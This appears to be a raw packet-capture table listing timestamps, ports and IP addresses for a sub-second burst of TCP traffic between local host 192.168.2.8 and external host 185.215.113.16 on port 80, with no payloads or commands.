Dec 7, 2024 15:07:00.402546883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.402589083 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.403523922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.403563976 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.403631926 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.403666973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.404601097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.404639959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.404710054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.404747009 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.405685902 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.405734062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.405792952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.405828953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.406825066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.406857014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.406862974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.406886101 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.407880068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.407927990 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.407936096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.407972097 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.529686928 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.529732943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.529875994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.530210018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.530284882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.530399084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.530447006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.530488014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.530535936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.531399965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.531445980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.531521082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.531564951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.532428980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.532476902 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.547974110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.548044920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.548110008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.548362970 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.548410892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.548439980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.548480034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.549403906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.549448967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.549520016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.549575090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.550435066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.550504923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.550554991 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.551505089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.551556110 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.551615000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.551656961 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.552596092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.552648067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.552692890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.552738905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.553672075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.553767920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.553821087 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.554776907 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.554826975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.554862022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.554900885 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.555835009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.555897951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.555977106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.556020975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.556890965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.556942940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.557029009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.557071924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.557976961 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.558166027 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.558260918 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.559041023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.559098959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.559107065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.559148073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.560192108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.560292006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.560352087 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.561280012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.561337948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.561460018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.561501980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.562264919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.562321901 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.562361002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.562402010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.563353062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.563405037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.563437939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.563483000 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.564436913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.564533949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.564585924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.565486908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.565540075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.565591097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.565638065 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.566576004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.566625118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.566700935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.566747904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.567687035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.567744017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.567795992 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.568706036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.568753958 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.568819046 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.568864107 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.569808960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.569856882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.569904089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.569962978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.570837975 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.570887089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.570970058 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.571013927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.571938038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.572056055 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.572104931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.573019981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.573071003 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.573134899 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.573184967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.574110985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.574197054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.574273109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.574318886 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.575200081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.575251102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.575297117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.575333118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.576281071 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.576421022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.576467037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.577373028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.577418089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.577440023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.577477932 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.578407049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.578461885 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.578533888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.578583002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.579606056 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.579657078 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.579711914 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.580658913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.580717087 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.580724001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.580764055 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.581676006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.581724882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.581816912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.581864119 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.582700968 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.582755089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.582901001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.582947016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.583779097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.583831072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.583895922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.583940983 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.584851027 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.584904909 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.584938049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.584985018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.585932016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.585978985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.586107016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.586157084 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.587023973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.587074041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.587100983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.587141991 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.588166952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.588186979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.588228941 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.589219093 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.589282990 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.589313030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.589359999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.590224981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.590275049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.590305090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.590356112 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.591456890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.591509104 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.591552019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.591602087 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.592534065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.592580080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.592633963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.593477011 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.593561888 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.593658924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.593708038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.594516039 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.594571114 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.594647884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.594701052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.595613003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.595662117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.595671892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.595706940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.596695900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.596748114 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.596781969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.596824884 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.597776890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.597825050 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.597848892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.597887993 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.598860025 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.598913908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.598927975 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.598974943 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.599895954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.599999905 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.600059032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.721735001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.721844912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.721919060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.722259045 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.722305059 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.722371101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.722409964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.723339081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.723386049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.723417044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.723457098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.724441051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.724487066 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.739818096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.739939928 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.739998102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.740375042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.740420103 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.740477085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.740520954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.741456032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.741564035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.741624117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.741650105 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.742495060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.742547035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.742672920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.742717981 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.743577003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.743623972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.743653059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.743778944 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.744617939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.744669914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.744720936 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.744904041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.745721102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.745774031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.745832920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.745877028 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.746809006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.746860027 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.746941090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.746988058 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.747843981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.747946024 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.747996092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.748903036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.748995066 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.749027014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.749104977 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.749989033 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.750036955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.750116110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.750334978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.751065969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.751121044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.751195908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.751322031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.752151966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.752223969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.752290010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.753232002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.753292084 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.753371954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.753418922 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.754340887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.754452944 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.754528046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.755510092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.755557060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.755633116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.755682945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.756524086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.756568909 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.756689072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.757013083 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.757567883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.757611036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.757623911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.757651091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.758604050 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.758656025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.758682966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.758721113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.759669065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.759763002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.759810925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.760761976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.760817051 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.760827065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.760874033 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.761858940 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.761934996 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.761955976 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.761970043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.762888908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.762945890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.762986898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.763091087 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.763959885 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.764039040 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.764071941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.764112949 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.765043974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.765181065 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.765233994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.765271902 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.766109943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.766163111 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.766195059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.766235113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.767187119 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.767230988 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.767285109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.767335892 CET	49740	80	192.168.2.8	185.215.113.16
